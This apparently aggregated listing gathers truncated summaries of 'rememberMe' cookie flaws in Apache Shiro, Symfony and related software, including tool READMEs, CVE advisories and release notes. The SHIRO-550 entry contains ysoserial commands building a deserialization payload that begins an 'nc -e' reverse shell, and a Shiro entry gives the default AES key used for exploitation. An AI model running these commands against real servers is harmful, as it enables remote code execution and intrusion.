Awesome_shiro

Awesome-shiro CVE-2016-4437 ShiroBase64解码--AES解密--反序列化 环境 linux/win10 均可 python2/python3 均可 由于module下有ysoserial.jar 所以项目略大，多多包涵 本地搭建靶场 root@kitploit: docker pull medicean/vulapps:sshiro1 docker run -d -p 80:8080 medicean/vulapps:sshiro1 脚本使用 1、shirocrack.py 爆破模块使用 需要结合http://dnslog.cn/...

CVE-2016-4437

shiro-1.2.4-漏洞工具 解rememberMe值并导出对应的class文件 使用方式 xk-mt-rememberMe解码.py 运行讲解：运行后先输入密钥或者回车默认密钥为‘kPH+bIxk5D2deZiIxcaaaA==’，在输入请求包里面的rememberMe值，解析后会提示输入导出文件名会自动加class,如果不导出则直接回车。 运行启动：python xk-mt-rememberMe解码.py xk-mt-单个域名单个密钥检测.py...

CVE-2024-51996

⚠️ CVE-2024-51996 - Symfony RememberMe 認証バイパス Exploit CVE-2024-51996 の重大な脆弱性に対する Exploit。Remember Me メカニズムを使用する Symfony アプリケーションで 認証バイパス を可能にします。 🧠 影響 : 有効な資格情報なしで特権ユーザー（admin など）になりすますことができます。 📖 説明 CVE-2024-51996 は、Symfony の security-http コンポーネントの脆弱性です。この欠陥は、REMEMBERME クッキーに含まれる ユーザー名が正しく検証されない...

SHIRO-721

Vulnerabilidad RCE de Padding Oracle en SHIRO-721 RememberMe 0x00 Introducción: El cookie rememberMe de la cookie está cifrado mediante el modo AES-128-CBC, lo que lo hace susceptible a ataques de oracle de relleno padding oracle. Un atacante puede utilizar un cookie RememberMe válido como prefij...

SHIRO-550

Vulnerabilidad de deserialización de Shiro RememberMe 1.2.4（SHIRO-550） commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

CVE-2026-56130

"Remember me" cookie age is not verified on the server. This potentially allows an attacker to intercept a valid cookie and reuse it indefinitely, even after the configured expiration time has passed. This issue affects all Apache Shiro versions from 1.2.4 through 2.x, and 3.0.0-alpha-1, only whe...

CVE-2026-43828

Default configurations of Apache Shiro send sensitive cookies in HTTPS session without 'Secure' attribute. This issue affects Apache Shiro from 1.0 to 2.1.0, and 3.0.0-alpha-1. Users are recommended to upgrade to version 2.1.1, or 3.0.0-alpha-2 or later, which fixes the issue. In the affected...

CVE-2026-43828

Default configurations of Apache Shiro send sensitive cookies in HTTPS session without 'Secure' attribute. This issue affects Apache Shiro from 1.0 to 2.1.0, and 3.0.0-alpha-1. Users are recommended to upgrade to version 2.1.1, or 3.0.0-alpha-2 or later, which fixes the issue. In the affected...

Metasploit Wrap-Up 05/08/2026

Spring cleanup This week’s Metasploit updates focused on foundational improvements and expanded target reach. Key enhancements were made to the recently released Copy Fail exploit module, which now benefits from payload fixes in linux/x64/exec and linux/armle/exec. These changes expand its...

CVE-2026-3963

A security flaw has been discovered in perfree go-fastdfs-web up to 1.3.7. This affects the function rememberMeManager of the file src/main/java/com/perfree/config/ShiroConfig.java of the component Apache Shiro RememberMe. Performing a manipulation results in use of hard-coded cryptographic key...

CVE-2026-3963 perfree go-fastdfs-web Apache Shiro RememberMe ShiroConfig.java rememberMeManager hard-coded key

A security flaw has been discovered in perfree go-fastdfs-web up to 1.3.7. This affects the function rememberMeManager of the file src/main/java/com/perfree/config/ShiroConfig.java of the component Apache Shiro RememberMe. Performing a manipulation results in use of hard-coded cryptographic key...

go-fastdfs-web 安全漏洞

go-fastdfs-web is a web management platform for a distributed file storage system developed by Perfree’s individual developers. Versions of go-fastdfs-web prior to 1.3.7 contain security vulnerabilities. These vulnerabilities stem from incorrect operations on the rememberMeManager function in the...

PT-2026-24894

A security flaw has been discovered in perfree go-fastdfs-web up to 1.3.7. This affects the function rememberMeManager of the file src/main/java/com/perfree/config/ShiroConfig.java of the component Apache Shiro RememberMe. Performing a manipulation results in use of hard-coded cryptographic key...

EUVD-2020-19091

Malware in sbrugna...

aidigu 安全漏洞

aidigu Aidigu is an open source microblogging project by the individual developer SR.Lee lty628. A security vulnerability exists in aidigu 1.8.2 and earlier versions, which stems from a misuse of the parameter rememberMe leading to deserialization...

Symfony has an Authentication Bypass via RememberMe

Description When consuming a persisted remember-me cookie, Symfony does not check if the username persisted in the database matches the username attached with the cookie, leading to authentication bypass. Resolution The PersistentRememberMeHandler class now ensures the submitted username is the...

GHSA-CG23-QF8F-62RR Symfony has an Authentication Bypass via RememberMe

Description When consuming a persisted remember-me cookie, Symfony does not check if the username persisted in the database matches the username attached with the cookie, leading to authentication bypass. Resolution The PersistentRememberMeHandler class now ensures the submitted username is the...

CVE-2024-51996 Symphony has an Authentication Bypass via RememberMe

Symphony process is a module for the Symphony PHP framework which executes commands in sub-processes. When consuming a persisted remember-me cookie, Symfony does not check if the username persisted in the database matches the username attached with the cookie, leading to authentication bypass. Th...

RuoYi Cross-Site Scripting Vulnerability

RuoYi is a backend management system by the individual developer of RuoYi in China. A cross-site scripting vulnerability exists in RuoYi version 4.7.8, which stems from a reflected cross-site scripting XSS vulnerability in the parameter rememberMe...

Spring Security 5.8.0-M1 and 6.0.0-M6 are released

On behalf of the team and everyone who has contributed, I am pleased to announce that Spring Security 5.8.0-M1 and 6.0.0-M6 are available now. This release includes dependency upgrades, bug fixes, and enhancements. Here are a few noteworthy changes: Deferred SecurityContext lookup...